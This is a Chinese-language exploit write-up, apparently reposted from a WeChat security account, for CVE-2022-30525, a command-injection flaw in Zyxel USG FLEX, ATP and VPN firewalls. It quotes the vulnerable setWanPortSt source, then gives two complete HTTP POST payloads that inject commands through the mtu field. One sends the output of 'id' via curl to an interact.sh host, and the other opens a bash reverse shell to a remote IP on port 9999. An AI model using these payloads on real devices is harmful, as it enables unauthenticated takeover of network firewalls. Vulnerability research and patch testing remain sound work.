Zyxel USG FLEX handler 远程命令执行漏洞 CVE-2022-30525
2022-5-13 20:53:23 Author: mp.weixin.qq.com(查看原文) 阅读量:17 收藏


漏洞描述

Rapid7 发现并报告了一个漏洞,该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。

漏洞影响

USG FLEX 100、100W、200、500、700  < ZLD5.00 - ZLD5.21 补丁 1

USG20-VPN、USG20W-VPN < ZLD5.10 - ZLD5.21 补丁 1

ATP 100、200、500、700、800  < ZLD5.10 - ZLD5.21 补丁 1

漏洞复现

登录页面

出现漏洞的文件为 lib_wan_settings.py 下的 setWanPortSt 方法

def setWanPortSt(req):

    reply = {}
    vlan_tagged = ''
    logging.info(req)
    port = req["port"].strip()

    vlanid = req["vlanid"]
    proto = req["proto"]
    data = req["data"]
    vlan_tagged = req["vlan_tagged"]
    
    cmdLine = ''
    GUIportst = {}
    
    extname = findextname(port)

    #TODO: subprocess method
    try:
        if vlan_tagged == '1':
            if vlanid == '':
                vlanid == '0'

        if proto == "dhcp":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            if "option60" in data:
                cmdLine += ' ' + data['option60']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "static":
            if 'mtu' not in req:
                req['mtu'] = '1500'
            prefix_length = netmask_to_cidr(data['netmask'])
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
            #extname = findextname(port)
            cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' ' + data['firstDnsServer']
            if 'secondDnsServer' in data:
                cmdLine += ' ' + data['secondDnsServer']
            cmdLine += ' >/dev/null 2>&1'
        elif proto == "pppoe":
            if vlan_tagged == '1':
                cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
            else:
                cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
            #extname = findextname(port)

            if 'auth_type' not in data:
                data['auth_type'] = 'chap-pap'
            if 'mtu' not in req:
                req['mtu'] = '1492'
            if 'ipaddr' not in data:
                data['ipaddr'] = '0.0.0.0'
            if 'gateway' not in data:
                data['gateway'] = '0.0.0.0'
            if 'firstDnsServer' not in data:
                data['firstDnsServer'] = '0.0.0.0'

            cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
                + ' ' + data['auth_type'] \
                + ' ' + data['ipaddr'] + ' ' + data['gateway'] \
                + ' ' + data['firstDnsServer'] + ' ' + req['mtu']
            if vlan_tagged == '1':
                cmdLine += ' ' + vlanid
            cmdLine += ' >/dev/null 2>&1'
            
        logging.info("cmdLine = %s" % cmdLine)
        with open("/tmp/local_gui_write_flag""w"as fout:
            fout.write("1");

        response = os.system(cmdLine) 
        logging.info(response)
        if response != 256:
            logging.info("cmd thread return error")
            reply = {"error"500}
        else:
            logging.info("cmd success!!")
            reply["stdout"] = [{}]
            reply["stderr"] =""
            with open(WAN_PORT_LAST_CHANGED, "w"as fout:
                fout.write(port)
            if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
                reply = {"error"500"exception""Cannot find data2cloud folder!"}
            with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified''a+'as fout:
                fout.write(port + ' ')
            
    except Exception as e:
        reply = {"error"500"exception": e}
   
    return reply

从源码里可以看到拼接的参数为 mtu , 随后直接 os.system 命令执行

验证POC

POST /ztp/cgi-bin/handler HTTP/1.1
Host: 
Content-Type: application/json

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}

反弹Shell

POST /ztp/cgi-bin/handler HTTP/1.1
Host: 
Content-Type: application/json

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}


关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247492860&idx=1&sn=e4610dc077d940576e768cfedfc22258&chksm=cecc4ca5f9bbc5b38485c4f706c4944dbc26ac3779f401cc22b27d6488db277321b1a38d321e&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh